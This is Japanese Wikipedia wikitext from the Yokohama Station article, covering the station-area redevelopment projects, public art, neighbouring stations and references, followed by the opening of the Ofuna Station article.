: 2010年8月に[[東日本旅客鉄道|JR東日本]]と[[東急]]による共同開発計画が発表された。いずれも2011年3月末閉館した[[CIAL]](初代横浜駅西口駅舎 [[横浜ステーシヨンビル|横浜ステーションビル]])と[[横浜エクセルホテル東急]]を取り壊して高層駅ビルへの建て替えを行うもので、メインとなる駅前棟の上層部は[[オフィス]]、下層部は商業施設などが入る。また、鶴屋町地区には[[駐車場]]と[[保育所]](当初計画)に加え、商業施設、[[ホテル]]、[[スポーツ]]施設([[2017年]]10月の計画変更により追加)からなる鶴屋町棟が建設される<ref group="JR東" name="JReast-171023">{{Cite web|和書|url=https://www.jreast.co.jp/press/2017/20171014.pdf |title=(仮称)横浜駅西口開発ビル 鶴屋町棟の計画変更等について |format=PDF |publisher=東日本旅客鉄道株式会社 |date=2017-10-23 |accessdate=2018-03-29}}</ref>。当初はJR線路の上部に8階部までの商業施設棟を建設するとしていたが、2014年3月に発表された計画で中止となった<ref name="kenplatz140310">{{Cite news |url=http://kenplatz.nikkeibp.co.jp/article/building/news/20140307/654349/<!--?P=1--> |title=横浜駅大改造を縮小、線路上空には建てない |newspaper=ケンプラッツ〈日経アーキテクチュア〉 |publisher=[[日経BP]] |date=2014-03-10 |accessdate=2018-01-21}}</ref>。
: 駅前棟は当初の計画では地上33階建て、高さ約195mの予定であったが、後に高さを少し抑えて約180mに変更すると発表。その後、[[東日本大震災]]を受けて安全性を重視するため更に規模縮小となる可能性が示唆され<ref group="新聞">{{Cite news |url=http://www.nikkei.com/article/DGXNZO56212830U3A610C1L72000/ |title=横浜駅西口再開発ビル縮小 JR東、震災受け安全性重視 |publisher=日本経済新聞 |date=2013-06-14 |accessdate=2015-07-05}}</ref>、2014年3月に発表された計画では、駅前棟は地上26階地下3階・高さ約135m(最終的に高さ約132m)、延床面積約94,000[[平方メートル|m<sup>2</sup>]]、鶴屋町棟は地上9階・高さ約31m、延床面積約24,000m<sup>2</sup>(2017年10月の計画変更に伴い約31,500m<sup>2</sup>に増床<ref group="JR東" name="JReast-171023"/>)となっている<ref name="kenplatz140310"/><ref group="JR東" name="JReast-140304">{{Cite web|和書|url=http://www.jreast.co.jp/press/2013/20140302.pdf |title=(仮称)横浜駅西口駅ビル計画について |format=PDF |publisher=東日本旅客鉄道株式会社 |date=2014-03-04 |accessdate=2015-07-05}}</ref>。
: 一方、開発時期についても当初の発表では[[2011年]]に着工して[[2019年]]の完成を目指すとしていたが、JR東日本は「東日本大震災を受けて建設計画を見直す」として計画の遅れが示唆され、2014年3月に発表された計画では、駅前棟と鶴屋町棟共に当初[[2020年]]夏に開催する予定であった[[東京オリンピック (2020年)|東京オリンピック]]開幕前の開業を目指すとしていた<ref group="JR東" name="JReast-140304"/><ref group="新聞">{{Cite news |url=http://sankei.jp.msn.com/region/news/140423/kng14042322510010-n1.htm |title=東京五輪に間に合う! 横浜駅西口に地上26階建てビル |publisher=産経ニュース |date=2014-04-23 |accessdate=2015-07-05}}</ref>。なお、実際に本着工したのは[[2016年]][[4月1日]]([[地鎮祭|起工式]]は[[2015年]][[10月19日]]<ref group="新聞">{{Cite news |url=http://www.kanaloco.jp/article/128682 |title=横浜駅西口ビル、工事本格化 予定地で安全祈願祭 |publisher=神奈川新聞〈カナロコ〉 |date=2015-10-20 |accessdate=2018-03-29}}</ref>)のことであり、着工が遅れることとなったCIALおよびエクセルホテル東急跡地では期間限定施設として、それぞれ商業施設の「西口[[ルミネ]]」や屋台村・仮設飲食店などが運営され、継続的に賑わいの創出が行われた<ref group="新聞" name="yomiuri140101"/>。
: [[2013年]]12月末には開発事業敷地内の東急所有地<ref group="注">エクセルホテル東急跡地ときた西口鶴屋地区の旧東横線使用地。</ref> をJR東日本に売却<ref group="注">2015年9月に引き渡された。</ref> し、開発主体を一元化すると発表(開発を加速するためのもので、東急は事業から完全撤退せずに「今後も様々な形で協力する」としている)。JR東日本を主体として鶴屋町棟から駅前棟に繋がる[[ペデストリアンデッキ|歩行者デッキ]]などを整備し、隣接する「横浜駅きた西口鶴屋地区再開発事業{{smaller|(仮称)}}」([[#鶴屋町地区|後節]]参照)の再開発区域とも一体的に開発を進めていく<ref group="新聞">{{Cite news |url=http://www.kanaloco.jp/article/70239 |title=横浜駅西口駅ビル計画、東急がホテル跡地をJR東へ売却/神奈川 |publisher=神奈川新聞〈カナロコ〉 |date=2013-12-27 |accessdate=2018-01-21}}</ref><ref group="新聞">{{Cite news |url=http://ryutsuu.biz/store/g010629.html |title=東急/JR東日本に横浜駅西口の用地を譲渡 |publisher=流通ニュース |date=2014-01-06 |accessdate=2015-07-05}}</ref>。
: [[2018年]]11月には横浜駅西口開発ビルの名称について駅前棟は「'''[[JR横浜タワー]]'''」、鶴屋町棟は「'''[[JR横浜タワー#JR横浜鶴屋町ビル|JR横浜鶴屋町ビル]]'''」にそれぞれ決定したとJR東日本が発表<ref group="JR東" name="jreast-press181122">{{PDF|[https://www.jreast.co.jp/press/2018/yokohama/181122_y01.pdf (仮称)横浜駅西口開発ビルの名称が 「JR 横浜タワー」 等に決定]}}([[東日本旅客鉄道横浜支社|東日本旅客鉄道株式会社横浜支社]] 2018年11月22日)</ref>。2020年1月には開業日について「JR横浜タワー」が同年[[5月30日]]、「JR横浜鶴屋町ビル」が同年[[6月5日]]と発表された(オフィスや保育所、駐車場など施設の一部は同年4月より順次稼働)<ref group="JR東" name="press/20200123_y01" /><!--<ref>[https://www.ryutsuu.biz/store/m012350.html JR横浜タワー/5月30日開業「ニュウマン」「シァル」「T.ジョイ」](流通ニュース 2020年1月23日)</ref>-->。さらに、同年3月には諸外国での[[新型コロナウイルス感染症の世界的流行 (2019年-)|新型コロナウイルス感染症(COVID-19)の感染拡大]]に伴い、家具の製作や納品遅延等の影響が出ているとして、ホテル「[[JR東日本ホテルメッツ]] 横浜」の開業日を同年[[6月27日]]に変更すると発表した<ref group="JR東">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2019/yokohama/20200326_y06.pdf|title=【2020年3月26日追記】JR横浜駅直結 JR横浜タワーが2020年5月30日(土)開業 〜JR横浜鶴屋町ビルは、6月5日(金)に開業〜|format=PDF|publisher=東日本旅客鉄道横浜支社|date=2020-03-26|accessdate=2020-03-26|archiveurl=https://web.archive.org/web/20200326061345/https://www.jreast.co.jp/press/2019/yokohama/20200326_y06.pdf|archivedate=2020-03-26}}</ref>。その後、同年5月13日にはCOVID-19感染拡大に伴う国の[[緊急事態宣言及びまん延防止等重点措置|緊急事態宣言]]の発令を受けて、「JR横浜タワー」と「JR横浜鶴屋町ビル」の開業を延期することを発表<ref group="JR東" name="press/20200513_y01" />。なお、「JR東日本ホテルメッツ 横浜」については予定通り同年6月27日に開業するとしている<ref group="JR東" name="press/20200513_y01" />。
: 2020年6月には、JR横浜タワーでは商業施設「[[NEWoMan]]横浜」を同年6月18日、商業施設「[[CIAL横浜]]」、[[シネマコンプレックス|エンタテインメント・コンプレックス]]「[[T・ジョイ]]横浜」を同年6月24日にそれぞれ開業することを発表<ref group="JR東" name="press/20200608_y01" />。また、JR横浜鶴屋町ビルでは商業施設「CIAL横浜 ANNEX」、ホテル「JR東日本ホテルメッツ 横浜」を同年6月27日(※CIAL横浜 ANNEX内の[[文化堂]]のみ同年6月18日開店)、スポーツ施設 「[[ジェイアール東日本スポーツ#フィットネスクラブ|ジェクサー・フィットネス&スパ]]横浜」を同年8月7日にそれぞれ開業することを発表した<ref group="JR東" name="press/20200608_y01" /><ref>{{Cite web|和書|url=https://www.cial.co.jp/yokohama/assets/pdf/PressRelease_200608.pdf|title=「CIAL横浜」「CIAL横浜ANNEX」開業日決定のお知らせ|accessdate=2020-07-02|publisher=株式会社横浜ステーションビル|website=CIAL横浜|date=2020年6月8日}}</ref>。
: 両棟は以下の施設で構成される<ref group="JR東" name="jreast-press181122" />。また、歩行者デッキ「[[JR横浜タワー#はまレールウォーク|はまレールウォーク]]」で接続している。
:* '''[[JR横浜タワー]]'''(地上26階・地下3階)
:** 商業施設「[[NEWoMan]](ニュウマン)横浜」(1F-10F/[[ルミネ]]運営/[[新宿駅]]直結の[[JR新宿ミライナタワー]]内に続く2号店)
:** 商業施設「[[CIAL横浜]]」(B3F-B1F/[[横浜ステーシヨンビル]]運営/再開発前にあった[[CIAL]]が復活)
:** エンタテインメント・コンプレックス「T・ジョイ横浜」(8F-10F/[[ティ・ジョイ]]運営/[[映画]]上映を中心に様々なイベントの開催など多目的利用が可能)
:** この他、高層部にはオフィスエリア「STATION SWITCH」(12F-26F/[[JR東日本ビルディング]]運営)も設けられる<ref group="注" name="station-work" />。
:* '''[[JR横浜タワー#JR横浜鶴屋町ビル|JR横浜鶴屋町ビル]]'''(地上9階)
:** 商業施設「CIAL横浜 ANNEX」(1F-3F/横浜ステーシヨンビル運営)
:** ホテル「[[JR東日本ホテルメッツ]] 横浜」(3F-9F/[[日本ホテル]]運営)- 事前予約をすることで、駅ナカシェアオフィス「STATION WORK」が利用可能<ref group="JR東">{{Cite press release|和書|url=https://www.jreast.co.jp/press/2020/20200903_ho04.pdf|title=シェアオフィス事業の拡大で働き方改革を加速します 〜「STATION WORK」の1,000カ所展開を目指すとともに、ワーケーションの推進を行います〜|publisher=東日本旅客鉄道|date=2020-09-03|accessdate=2020-09-06|archiveurl=https://web.archive.org/web/20200905155129/https://www.jreast.co.jp/press/2020/20200903_ho04.pdf|archivedate=2020-09-05}}</ref>。
:** スポーツ施設 「[[ジェイアール東日本スポーツ#フィットネスクラブ|ジェクサー・フィットネス&スパ]]横浜」(2F-3F/[[ジェイアール東日本スポーツ|JR東日本スポーツ]]運営)
:** 駐車場「JR横浜パーキング」(4F-9F/横浜ステーシヨンビル運営)
:** この他、保育所(3F)や[[駐輪場]]・自動二輪駐車場(1F)も設けられる。
; その他の再開発計画
:西口周辺は、西口五番街地区や西口(幸栄)地区でも再開発が計画されている<ref name="ex22-04-shiryo06">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/toshin/excite22/22/exykondankai/exykondankai4.html 第4回 エキサイトよこはま22懇談会(2013年6月14日開催)] > {{PDF|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/toshin/excite22/22/exykondankai/exykondankai4.files/0005_20180927.pdf 資料6:横浜駅周辺地区のまちづくり(横浜駅周辺開発想定エリア)]}}(横浜市都市整備局)</ref>。西口五番街地区は「横浜駅西口五番街地区第一種市街地再開発事業{{smaller|(仮称)}}」(敷地面積:0.8[[ヘクタール|ha]]/[[1987年]]再開発準備組合設立)として<!--2018年度の着工と2020年度の整備完了を目標としており-->、西口(幸栄)地区は「横浜駅西口地区第一種市街地再開発事業{{smaller|(仮称)}}」(敷地面積:1.1ha/[[1992年]]再開発準備組合設立)として<!--2020年度の着工と2023年度の整備完了を目標としている(2017年4月1日時点、※ただしいずれの計画も当初より遅れが生じており、計画通り計画が進行するか今後の見通しは定かでない)-->それぞれ今後動き出す見込みで、いずれの再開発事業でも都市再生特別地区を想定している<ref name="p-yokohamatoshin170401"/>。
: また、[[相鉄グループ]]では2023年度中に西口再開発の具体的計画を策定([[ロードマップ]]を作成)する方針である<ref>{{PDF|[https://ssl4.eir-parts.net/doc/9003/ir_material_for_fiscal_ym/109664/00.pdf 相鉄グループ長期ビジョン“Vision2030” 及び 中期経営計画 (2022年度~2024年度)]}}(相鉄ホールディングス株式会社 2021年11月25日)</ref>。
===== 東口周辺の再開発計画 =====
[[File:AsoBuild 02.jpg|thumb|280px|アソビル (AsoBuild)(2019年3月)]]
[[横浜中央郵便局]]などがある[[#みなみ東口|みなみ東口]]の一帯は、「'''ステーションオアシス地区'''」として再開発(横浜駅東口地区開発{{smaller|〈仮称〉}}、地下より地上部・デッキレベルまで移動できるターミナルコアの整備も含む)が計画されている<ref name="hamarepo170308"/><ref name="p-yokohamatoshin170401"/><ref name="ex22-04-shiryo06"/>。事業主体は[[日本郵政]]、JR東日本、[[京浜急行電鉄]]、横浜市の4者で<ref name="kenplatz140310"/>、[[1996年]]に横浜駅東口地区開発(ステーションオアシス)推進協議会を設立している<ref name="p-yokohamatoshin170401"/>{{refnest|group="注"|同市では2014年3月中に同地区の再開発(対象となるビルや駅前広場、歩行者デッキ、[[市町村道|市道]])に関する大まかな概要などを盛り込んだ基本構想をまとめる方針で、さらに[[都市再生特別措置法]]の申請期限が[[2017年]][[3月31日]]までとなっているため、それまでに[[都市計画]]を制定する方針である<ref name="kenplatz140310"/>。}}。また、この再開発に関連して[[高島 (横浜市)#高島二丁目地区再開発事業|高島二丁目地区]]方面ともデッキレベルでの接続{{refnest|group="注"|さらにその先のみなとみらい地区58街区「[[横濱ゲートタワー]]」の[[横濱ゲートタワー#歩行者デッキによる周辺地区との接続|2階に整備された「テラスモール」デッキ]]まで接続<ref name="yokohama-toshibitaisaku-gatetower">[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks043.html 第43回横浜市都市美対策審議会景観審査部会議事録]:【議事2】の資料2「{{PDFlink|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks043.files/0030_20190311.pdf 景観形成の考え方 みなとみらい21 中央地区 58街区 開発事業計画 (仮称)横濱ゲートタワープロジェクト]{{small|〈[https://web.archive.org/web/20211014161508/https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/design/shingikai/bitaisaku/keikan/ks043.files/0030_20190311.pdf アーカイブ]〉}}}}」([[横浜市都市美対策審議会]]景観審査部会 2018年5月7日開催)</ref>。}}が計画されている<ref name="hamarepo170308"/><ref name="hamarepo111205">[http://hamarepo.com/story.php?page_no=0&story_id=664 横浜駅東口、万里歩道橋が利用されない理由とは?](はまれぽ.com 2011年12月5日)</ref>。なお、東口周辺の再開発が本格化するまでの暫定施設として、横浜中央郵便局別館(2015年3月まで集配業務を行っていた)の建物を[[リノベーション]]活用した、アカツキライブエンターテインメントによる複合型体験[[エンターテインメント]]施設「[[アソビル]]」が2019年3月に開業している<ref name="hamarepo180803">{{Cite news |url=https://hamarepo.com/story.php?story_id=6848 |title=横浜中央郵便局別館が「複合型体験エンターテインメント施設」に!? 2019年春開業予定 |publisher=はまれぽ.com |date=2018-08-03 |accessdate=2018-09-27}}</ref><ref name="akatsuki181115">{{Cite press release|和書|title=横浜駅直通、複合型エンタメ施設の名称を「アソビル」に決定 最新VRからものづくりまで幅広い体験コンテンツを提供 |publisher=株式会社アカツキライブエンターテインメント〈PR TIMES〉 |url=https://prtimes.jp/main/html/rd/p/000000064.000010379.html |date=2018-11-15 |accessdate=2018-11-15}}</ref>。
一方、前述のようにみなとみらい地区との接続を強化するため、東口の[[帷子川]]沿岸部(出島地区)から[[みなとみらい大橋]]に接続する道路「[[栄本町線#栄本町線支線1号|栄本町線支線1号]]」の整備およびその周辺部に位置する「出島地区」(横浜駅東口臨海地区)における再開発も検討されている<ref name="ex22-04-shiryo06"/><ref>{{Cite web|和書|url=https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/toshin/excite22/shuhen/project.html |title=エキサイトよこはま22:駅周辺施設・整備事業 |publisher=横浜市都市整備局 |accessdate=2019-03-27}}</ref>(「[[栄本町線#整備計画]]」も参照)。
==== 鶴屋町地区 ====
当地区([[#きた西口|きた西口]]周辺)では、前述の「横浜駅西口駅ビル計画」における鶴屋町棟の計画の他にも、鶴屋橋の架替事業(2010年度〜2017年度実施予定)<ref name="yokohama-dorokyoku130410"/><ref name="hamarepo150927"/> や以下の再開発が計画されている。
; 横浜駅きた西口鶴屋地区第一種市街地再開発事業{{smaller|(仮称)}}<ref name="p-yokohamatoshin170401"/>(敷地面積:0.8ha)〈都市再生特別地区/国家戦略住宅整備事業〉
: 「横浜駅きた西口鶴屋地区市街地再開発組合」([[相鉄不動産]]・[[東急|東京急行電鉄]][[共同企業体|JV]])による地上43階(高さ約178m)の複合ビル「[[THE YOKOHAMA FRONT]]」をメインとした再開発事業である。1〜4階(低層棟、高さ約40m)は複合施設(商業施設や子育て支援施設、クリニックなど)および[[アトリウム]]、4階および6〜10階は宿泊施設(ホテル)、5階および13〜41階は住宅施設(分譲住宅)を配置する計画で、2019年10月に着工し[[2024年]]3月の竣工を目指している。施設全体の名称は「'''THE YOKOHAMA FRONT'''(ザ ヨコハマ フロント)」で、住宅施設([[超高層マンション|タワーマンション]])の名称は「THE YOKOHAMA FRONT TOWER(ザ ヨコハマ フロント タワー)」となる<ref>[https://www.hamakei.com/headline/11686/ 横浜駅直結高層マンション「ザ ヨコハマ フロント タワー」 ホテルや商業施設も](ヨコハマ経済新聞 2022年1月27日)</ref>。
: 「横浜駅西口駅ビル計画{{smaller|(仮称)}}」([[#西口周辺の再開発計画|前節]]参照)の鶴屋町棟と一体的に整備する方針で、同計画の駅前棟および鶴屋町棟と歩行者デッキで接続し、さらに当ビルの西側と北側に交通広場や道路も整備する計画となっている<ref group="新聞">{{Cite news |url=http://www.decn.co.jp/?p=41945 |title=横浜駅きた西口鶴屋地区再開発/44階建て複合ビル、18年度着工へ/準備組合 |publisher=日刊建設工業新聞 |date=2015-07-06 |accessdate=2018-01-21}}</ref><!--<ref>[http://www.kensetsunews.com/?p=50814 横浜駅きた西口鶴屋地区再開発/高さ190m、延べ8万m<sup>2</sup>](建設通信新聞 2015年7月6日<関東面>)</ref>--><ref>[http://building-pc.cocolog-nifty.com/helicopter/2015/07/44190m-c1d6.html 横浜市 地上44階、高さ約190mの「(仮称)横浜駅きた西口鶴屋地区第一種市街地再開発事業」 計画段階配慮書の縦覧開始!](東京・大阪 都心上空ヘリコプター遊覧飛行 2015年7月5日)</ref>。
== モニュメント・パブリックアート ==
<!--営地下鉄駅構内のパブリックアート等は該当節に掲載-->
* [[山下公園]]の『[[赤い靴#赤い靴の像|赤い靴はいてた女の子像]]』の[[ミニチュア]]版が[[1982年]]8月より当駅南口に設置されていたが、駅構内の工事に伴い[[1998年]]に一時撤去となり以降駅の倉庫に保管されていた。[[2010年]]12月、[[通路#自由通路|自由通路]]([[#駅構造|中央通路]])に移設され現在に至る<ref>[http://hamarepo.com/story.php?story_id=719 横浜駅自由通路前「赤い靴の女の子」はいつ設置された?](はまれぽ.com 2011年12月25日)</ref><ref>[https://www.hamakei.com/headline/5689/ 横浜駅に「赤い靴はいてた女の子」像-12年ぶりに復活](ヨコハマ経済新聞 2010年12月6日)</ref>。
* 中央通路の西口階段上部には[[利根山光人]]による[[陶板画|陶板]][[レリーフ]]作品『太陽とこども』([[パブリックアート]])が、1982年4月より[[日本交通文化協会]]によって設置されていた<ref>[http://jptca.org/publicart027/ パブリックアート「太陽とこども」(利根山光人)](日本交通文化協会)</ref><ref>[http://hamarepo.com/story.php?story_id=1378 ほこりだらけの「太陽とこども」のレリーフ、いつ掃除してるの?](はまれぽ.com 2012年10月8日)</ref>。[[JR横浜タワー]]建設工事に伴い、[[2017年]]6月より撤去されていたが、[[2020年]]5月より地下1階・相鉄線連絡通路に移設された。ただし天井高の制約から、レリーフの左上のみ(全体の約1/4)の部分展示となっている<ref>[http://jptca.org/news/20200529-15693/ 横浜駅「太陽とこども」を再展示へ](日本交通文化協会 2020年5月29日)</ref>。
この他に、横浜市営地下鉄のハマリンロード(地下1階通路)の階段や、みなとみらい線の改札内にもパブリックアートがある。
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Akaikutsu in Yokohama Station.jpg|<!--thumb|200px|-->中央通路に設置されている赤い靴の女の子像のミニチュア版(2014年6月)
Sun and Child (by Kojin Toneyama).jpg|<!--thumb|200px|-->中央通路の西口階段に設置されていた陶板レリーフ作品『太陽とこども』(2017年6月)
</gallery>
== 舞台となった作品 ==
; 映画
* [[ファンキーハットの快男児]] - [[主演]]:[[千葉真一]]・[[映画監督|監督]]:[[深作欣二]]による[[1961年]]の[[日本映画]]で、横須賀線の[[プラットホーム]]で[[誘拐]]の[[身代金]]を取引する攻防が展開された。
; 書籍
* [[横浜駅SF]] - [[柞刈湯葉]]の[[小説]]。長年にわたって改築が続く横浜駅。実はそれ自体が[[生物|生命体]]で、やがて[[細胞分裂|自己増殖]]を開始し、[[本州]]の99 %が横浜駅に覆われてしまった世界を描く[[サイエンス・フィクション|SF]]作品。
== 隣の駅 ==
; 東日本旅客鉄道(JR東日本)
: [[File:JR JT line symbol.svg|15px|JT]] 東海道線
:* 特急[[踊り子 (列車)|「踊り子」「サフィール踊り子」]]、「[[鎌倉 (列車)|鎌倉]]」、寝台特急「[[サンライズ瀬戸]]」「[[サンライズ出雲]]」停車駅
::: [[川崎駅]] (JT 04) - '''横浜駅 (JT 05)''' - [[戸塚駅]] (JT 06)
: [[File:JR JO line symbol.svg|15px|JO]] 横須賀線
:* 特急「[[成田エクスプレス]]」停車駅
::: [[新川崎駅]] (JO 14) - '''横浜駅 (JO 13)''' - [[保土ケ谷駅]] (JO 12)
: [[File:JR JS line symbol.svg|15px|JS]] 湘南新宿ライン
:* 特急「踊り子」「サフィール踊り子」停車駅
:: {{Color|#0099ff|■}}特別快速・{{Color|#f68b1e|■}}快速(高崎線 - 横須賀線 - 東海道線直通)
::: [[武蔵小杉駅]] (JS 15) - '''横浜駅 (JS 13)''' - 戸塚駅 (JS 10)
:: {{Color|#18a629|■}}普通(宇都宮線 - 横須賀線直通)
::: 新川崎駅 (JS 14) - '''横浜駅 (JS 13)''' - 保土ケ谷駅 (JS 12)
: [[File:JR JK line symbol.svg|15px|JK]] 京浜東北・根岸線
:: {{Color|#ff0066|■}}快速・{{Color|#00b2e5|■}}各駅停車
::: [[東神奈川駅]](京浜東北線・JK 13) - '''横浜駅 (JK 12)''' - [[桜木町駅]](根岸線・JK 11)
: [[File:JR JH line symbol.svg|15px|JH]] 横浜線(桜木町駅 - 当駅間は根岸線、当駅 - 東神奈川駅間は東海道本線(京浜東北線))
:: {{Color|#ff0066|■}}快速・{{Color|#7fc342|■}}各駅停車
::: 桜木町駅(JK 11) - '''横浜駅 (JK 12)''' - 東神奈川駅 (JH 13)
: ※線路名称上の東海道本線としての当駅の隣の駅は東神奈川駅と保土ケ谷駅であるが、双方の駅に停車する系統は存在しない。
; 東急電鉄・横浜高速鉄道
: [[File:Tokyu TY line symbol.svg|15px|TY]] 東横線・[[ファイル:Number prefix Minatomirai.svg|15px|MM]] みなとみらい線
:* {{Color|#0066cc|□}}[[S-TRAIN]]停車駅(西武車のみの運用。[[西武秩父駅|西武秩父]]方面は乗車のみ、[[元町・中華街駅|元町・中華街]]行きは降車のみ)
:: {{Color|#f7931d|■}}特急・{{Color|#f7931d|□}}通勤特急・{{Color|#ef3123|■}}急行
::: [[菊名駅]](東横線・TY16) - '''横浜駅 (TY21/MM01)''' - [[みなとみらい駅]] (みなとみらい線・MM03)
:: {{Color|#1359a9|■}}各駅停車
::: [[反町駅]](東横線・TY20) - '''横浜駅 (TY21/MM01)''' - [[新高島駅]] (みなとみらい線・MM02)
:: [[1950年]]までは反町駅との間に[[神奈川駅 (東急)|神奈川駅]]が設置されていた。
; 京浜急行電鉄(京急)
: [[File:Number prefix Keikyū.svg|15px|KK]] 本線
:: {{Color|#049c5e|□}}「[[ウィング号 (京急)|モーニング・ウィング号]]」・{{Color|#049c5e|□}}「[[ウィング号 (京急)|イブニング・ウィング号]]」
::: '''通過'''(イブニング・ウィング14号・16号は運転停車)
:: {{Color|#049c5e|■}}快特
::: [[京急川崎駅]] (KK20) - '''横浜駅 (KK37) ''' - [[上大岡駅]] (KK44)
:: {{Color|#e8334a|■}}特急
::: [[神奈川新町駅]] (KK34) - '''横浜駅 (KK37) ''' - 上大岡駅 (KK44)
:: {{Color|#006cb8|■}}急行
::: [[京急東神奈川駅]] (KK35) - '''横浜駅 (KK37) ''' - [[日ノ出町駅]] (KK39)
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::: [[神奈川駅]] (KK36) - '''横浜駅 (KK37) ''' - [[戸部駅]] (KK38)
:: [[1944年]]までは戸部駅との間に[[平沼駅 (京浜電気鉄道)|平沼駅]]が設置されていた。
; 相模鉄道(相鉄)
:[[File:Sotetsu line symbol.svg|15px|SO]] 本線
:: {{Color|orange|■}}特急・{{Color|red|■}}通勤急行(到着列車のみ)
::: '''横浜駅 (SO01)''' - [[西谷駅]] (SO08)
:: {{Color|blue|■}}快速
::: '''横浜駅 (SO01)''' - [[星川駅 (神奈川県)|星川駅]] (SO05)
:: {{Color|gray|■}}各駅停車
::: '''横浜駅 (SO01)''' - [[平沼橋駅]] (SO02)
; 横浜市営地下鉄(横浜市交通局)
: [[File:Yokohama Municipal Subway Blue Line symbol.svg|15px|B]] ブルーライン(3号線)
:: {{Color|red|■}}快速
::: [[桜木町駅]] (B18) - '''横浜駅 (B20)''' - [[新横浜駅]] (B25)
::{{Color|#006bf0|■}}普通
::: [[高島町駅]] (B19) - '''横浜駅 (B20)''' - [[三ツ沢下町駅]] (B21)
=== かつて存在した路線 ===
; 東京急行電鉄(東急)<!--廃止当時の社名-->
: {{Color|#da0442|■}}東横線
:: {{Color|#f7931d|■}}特急・{{Color|#f7931d|□}}通勤特急・{{Color|#ef3123|■}}急行
::: (菊名駅 - )'''横浜駅''' - 桜木町駅
:: {{Color|#1359a9|■}}各駅停車
::: (反町駅 - )'''横浜駅''' - 高島町駅
== 脚注 ==
{{脚注ヘルプ}}
=== 記事本文 ===
==== 注釈 ====
{{Reflist|group="注"|3}}
==== 出典 ====
* 『横浜新都市センター30年史』 横浜新都市センター、2010年12月
{{Reflist|3}}
===== 報道発表資料 =====
; JR東日本
{{Reflist|group="JR東"|3}}
; 京急
{{Reflist|group="京急"}}
; 相鉄
{{Reflist|group="相鉄"}}
; 東急
{{Reflist|group="東急"}}
===== 新聞記事 =====
{{Reflist|group="新聞"|2}}
=== 利用状況 ===
; JR・私鉄・地下鉄の1日平均利用客数
{{Reflist|group="利用客数"}}
; JR東日本の1999年度以降の乗車人員
{{Reflist|group="JR"|23em}}
; JR・私鉄・地下鉄の統計データ
{{Reflist|group="乗降データ"}}
; 神奈川県県勢要覧
{{Reflist|group="神奈川県統計"|16em}}
;横浜市統計書 9運輸 -鉄道、軌道駅別利用人員
{{Reflist|group="横浜市統計書"|22em}}
== 関連項目 ==
{{commonscat|Yokohama Station}}
* [[日本の鉄道駅一覧]] - [[日本の鉄道駅一覧 や-わ行|や行]]
* [[日本の鉄道]]
* [[平沼駅 (国鉄)]]
== 外部リンク ==
{{ウィキポータルリンク|横浜市|[[File:Emblem of Yokohama, Kanagawa.svg|45px|Portal:横浜市]]}}
* {{外部リンク/JR東日本駅|filename=1638|name=横浜}}
* {{外部リンク/東急電鉄駅|filename=21|name=横浜}}
* [https://www.mm21railway.co.jp/station/yokohama/ 横浜高速鉄道 横浜駅]
* {{外部リンク/京浜急行電鉄駅|駅番号=KK37}}
* [https://www.sotetsu.co.jp/train/stations/yokohama/ 相鉄 横浜駅]
* [https://navi.hamabus.city.yokohama.lg.jp/koutuu/pc/detail/Station?id=00000838 横浜市交通局 横浜駅]
* [https://www.yokohama-west-rengoukai.com/5bangai/ 横浜駅西口五番街商店会協同組合]
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| https://ja.wikipedia.org/wiki/%E6%A8%AA%E6%B5%9C%E9%A7%85 |
6,782 | 大船駅 | 大船駅(おおふなえき)は、神奈川県鎌倉市大船一丁目にある、東日本旅客鉄道(JR東日本)・湘南モノレールの駅である。
鎌倉市と横浜市の境界上に位置し、JRホームの北半分および笠間口は横浜市栄区笠間一丁目に位置する。両市の中心市街地とは離れているものの、鉄道を中心とした交通の要衝となっており、東口側を中心に駅前市街地が形成されている。
JR東日本の各線(後述)と、湘南モノレールの江の島線が乗り入れている。湘南モノレール江の島線は当駅が起点である。
JR東日本の駅には、線路名称上は東海道本線・横須賀線・根岸線の3路線が乗り入れており、このうち東海道本線を当駅の所属線としている。根岸線は当駅が終点となっており、大半の列車が横浜駅から京浜東北線へ、さらに朝晩の一部は横浜線へ直通する。横須賀線に関しては、線路名称上は当駅が起点であるが、運転系統としては当駅から東海道本線横浜・東京方面の専用線路に乗り入れており、藤沢駅方面へ乗り入れる東海道線列車よりも停車駅が多く設定されている。
JR東日本の駅に停車する優等列車は、東京と伊豆を結ぶ東海道線の特急「踊り子」および東京都心と湘南地区間の通勤客をターゲットとした特急「湘南」が一部停車し、横須賀線では成田国際空港へのアクセス列車である「成田エクスプレス」の始発・終着駅となっている。普通列車は、東海道線の快速「アクティー」・普通、横須賀線の普通、湘南新宿ラインの特別快速・快速・普通、根岸線の快速・各駅停車の全列車が停車するほか、2015年3月のダイヤ改正以前は横須賀線の「おはようライナー逗子」「ホームライナー逗子」も停車していた。
1966年5月からはドリーム交通モノレール大船線が乗り入れていたが、1967年9月に運行休止、2003年9月に正式に廃線となった。
島式ホーム5面10線を有する地上駅。駅の藤沢寄りと戸塚寄りにそれぞれ橋上駅舎が置かれ、改札内の通路で結ばれている。2つの駅舎の間を流れる砂押川に市境があり、駅舎の所在地は藤沢寄りが鎌倉市、戸塚寄りが横浜市栄区となるが、駅長室が従来からの鎌倉市側の駅舎に存在するために鎌倉市の駅となっており、特定都区市内の「横浜市内」には含まれない。
藤沢寄りの駅舎には南改札があり、東口と西口に通じている。また駅ビル内や駅ビル脇の通路からは湘南モノレールの駅に通じている。直営駅(駅長配置)であり、管理駅として洋光台駅 - 本郷台駅を管理している。みどりの窓口が設置されている。
戸塚寄りの駅舎には北改札があり、笠間口に通じている。この駅舎は栄区側を中心とした住民の運動により建設され、2006年2月2日に供用を開始した。この駅舎にはみどりの窓口は設置されていないが、指定券発売機が設置されている。また、2019年7月1日から、この改札の駅業務はJR東日本ステーションサービス(JESS)に委託されている。
駅構内を覆うように駅ナカ商業施設「アトレ大船」(旧「Dila大船」)があり、書店や飲食店などが軒を連ねる。
